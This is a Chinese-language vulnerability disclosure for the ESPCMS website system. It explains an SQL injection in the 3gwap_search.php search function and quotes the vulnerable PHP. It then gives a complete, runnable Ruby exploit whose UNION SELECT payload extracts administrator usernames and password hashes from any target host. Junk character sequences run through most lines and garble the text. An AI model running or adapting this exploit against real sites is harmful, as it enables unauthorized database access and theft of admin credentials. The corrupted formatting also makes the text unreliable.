0×0 漏洞概述0×1 漏洞细节
2 P, A" G3 s! M7 Q1 Z0×2 PoC+ S% O* ~. b, D8 S: W C
! S3 f7 J6 c9 m) S* p ]7 S" m: ~4 V
* G* y7 E9 t: d$ K8 F( b# B
. b3 ^; u" W b; _ I M0×0 漏洞概述* b8 n3 M3 w @- d5 X u) p Y
4 G! Z" |2 O/ e4 s2 E易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
2 f) H0 S$ J0 X* e9 u其在处理传入的参数时考虑不严谨导致SQL注入发生
+ E5 t' Q1 F" b. H0 L/ c, M, x2 y8 s) u& h! l! U- g3 S
' O) v' C8 X' y4 h0 f1 e
0×1 漏洞细节
' v: x. _/ i2 j: r. _; R: U
0 B; }, O$ ^* d7 Y: R3 ^6 \变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
& U# Y4 } y; b% n* t正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。. V% r9 L7 D7 ~: }$ d( h( A' D
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。/ d0 A5 r$ z4 |' }. G
i7 @3 E( E2 G$ b
在/interface/3gwap_search.php文件的in_result函数中:* G& G c- E+ i% A% o/ v
* a% ^" V( `: l8 F t$ W
/ z6 F$ J! ?7 Z: V. K3 f
- m s! u, A0 V5 |; t) d function in_result() {
* {) i- x. C" Y6 _/ j9 W& W) F$ q2 c ... ... ... ... ... ... ... ... ...9 T( @/ C: Z* z+ K4 |! ?1 G
$urlcode = $_SERVER[ 'QUERY_STRING '];
/ o) R7 }! J; q parse_str(html_entity_decode($urlcode), $output);
4 f/ X4 o* a0 \! y G2 D) X* }' n% _
... ... ... ... ... ... ... ... ...
2 F6 k1 M9 Y% ]" Y7 ~9 g- o; { if (is_array($output['attr' ]) && count($output['attr']) > 0) {
% j9 }0 F0 P( T0 P) c
9 Z4 F! X$ C P l' ?2 |. ] $db_table = db_prefix . 'model_att';3 w8 y: f3 x5 p) F1 i
% _; D8 j( @; j5 |* ]/ H/ M foreach ($output['attr' ] as $key => $value) {
1 u& v- [6 O/ W$ B9 N3 d* L5 M if ($value) {
1 a. o8 u3 [& {0 B' @* d6 U2 _
8 G3 d/ R2 | Q# @2 |, A* x8 m; G $key = addslashes($key);
( E# P Y& T1 p! @ $key = $this-> fun->inputcodetrim($key);
) V' j: I3 D- g1 K" p $db_att_where = " WHERE isclass=1 AND attrname='$key'";1 C# R: k; O- m2 C5 {2 S% e
$countnum = $this->db_numrows($db_table, $db_att_where);5 T' E4 r7 O5 v+ w1 ^
if ($countnum > 0) {5 q3 _1 y+ m" [( @! J1 P l
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 x9 ^* u! i" M# v4 |0 |- p }8 ]3 y* s1 d1 |7 S2 {, C8 f$ \1 ^
}
+ N8 e% w& X! E3 ?/ J9 }) F }; \6 g& H. ^+ A
}6 h( }' O6 e; ]: a* `" t& b, ]6 P
if (!empty ($keyword) && empty($keyname)) {
6 _, m1 I0 X4 O: c3 z4 S $keyname = 'title';
2 J2 L9 y; o! _, [7 Q $db_where.= " AND a.title like '%$keyword%'" ;3 H. g8 ~* ^4 g: Q# B
} elseif (!empty ($keyword) && !empty($keyname)) {
; t J R! t( a" o/ @ $db_where.= " AND $keyname like '% $keyword%'";- e: Z* ?, ]* H# q; q
}6 { X }9 c4 B) F) ~- t
$pagemax = 15;! d* B* u# m9 |: v" u! k
$ d9 M W# V' ~' Y( ^+ ?! s. q8 l $pagesylte = 1;5 b; _3 O# l0 Q k
! H# Q6 p! B; a3 i if ($countnum > 0) {
. E( z, {2 A! O2 i; `0 E7 q [
$numpage = ceil($countnum / $pagemax);
8 C2 w1 G% o* B% A# x } else {
; t, n% j5 r3 m $numpage = 1;
$ w$ P& l! o& R, T- \+ e }
% s8 Q# j+ z7 X8 B7 `4 S $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
2 L, {( P8 I- L5 v+ e0 E) C2 j $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
# }9 s* t0 ^) |) M6 z$ x7 @, p$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
# c% b& u+ E2 h8 n ... ... ... ... ... ... ... ... ...! S# N" H) }7 @9 L: j7 G) C0 ~
}
7 P) a- n Q! j0 R# B1 i: n+ ^7 f/ R+ q% F4 W% l; \
. I H6 m1 }6 f! d+ u) Q% j$ l! j* u0×2 PoC/ ^6 r/ v3 M+ [4 m
$ }9 K/ O% d2 d1 v- X" @
& w/ {& b( ?( f7 i! k1 Z9 B, l6 c6 ~5 c
0 ^; k3 f- l* V- N( Q( erequire "net/http"
9 ^+ {0 J$ V6 L- Z, r5 M- I/ l- U
; ~" G5 D4 }' J/ M; bdef request(method, url)
4 O5 w& |' b- _6 q Q, @ if method.eql?("get")" V3 U- {4 R# `/ n! x
uri = URI.parse(url) Y5 N2 f! p y' F$ C
http = Net::HTTP.new(uri.host, uri.port)
P+ Q7 Z: K, L9 E response = http.request(Net::HTTP::Get.new(uri.request_uri))' ]3 G/ E8 i/ k7 c" j- r
return response% U0 y# N$ C3 M Q1 G- D: }/ i
end4 j6 {, w* n: p+ l9 m+ O% {
end
H) V( ]9 Z/ f4 F& L7 ]$ ^3 i, ?( J/ F4 _! |$ u0 n
doc =<<HERE7 }: U4 z5 _' R! k$ P* u
-------------------------------------------------------
) L) G! y' u/ C$ D6 j9 LEspcms Injection Exploit, B% v/ F' k- d/ K5 ?
Author:ztz! x1 R# i$ Z( Z' Y
Blog:http://ztz.fuzzexp.org/
8 @% W1 u4 b% u2 ~* c3 x-------------------------------------------------------) [7 |( a/ ~# }
2 u. H) H+ D; ?( d# S3 V1 X- BHERE: q- @1 }# C2 b* w3 B9 n
) k& H& J2 p8 \) Vusage =<<HERE
" S, g9 }1 r$ P* d* ^9 SUsage: ruby #{$0} host port path$ {+ ^/ N7 W+ m0 C4 J/ T% [5 z
example: ruby #{$0} www.target.com 80 /
( T x& j, H2 _6 NHERE2 T, ^1 ]- F, u% z- C# O0 y
/ j3 e& y% N8 }% {
puts doc) y5 g5 g6 e4 P Z$ x: Z
if ARGV.length < 3& Y. B2 D* Q2 v7 z' R' q
puts usage- n4 a4 b, E1 J7 R$ O
else
- t% I+ D& F6 h+ ^, \1 A+ u8 ? $host = ARGV[0]
- u; D$ w/ K5 j $port = ARGV[1]
5 a1 P" ?; k7 I. ]+ a: P: ` $path = ARGV[2]
6 X% R: P! Y9 I* w1 [3 }% H5 I8 k( d& b }
puts "send request...". M1 o' w5 Q) K1 B
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
" W1 g, P* N8 ^' E, V3 J5 |attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
- U1 [9 l9 S& a P r3 r,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
& P) X. Y- t" h9 },28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"; L% D+ N+ p, N$ e% a+ Q$ v) y
response = request("get", url)
/ |9 U5 w9 a& ?. S# M7 p result = response.body.scan(/\w+&\w{32}/)
4 ^/ N! m8 D( q/ y puts result
# k9 X: }+ n. c J" C/ ]/ [end B) a. q$ C9 g* A- N3 X' {
; L6 x1 E: c8 ?, D* }: }
|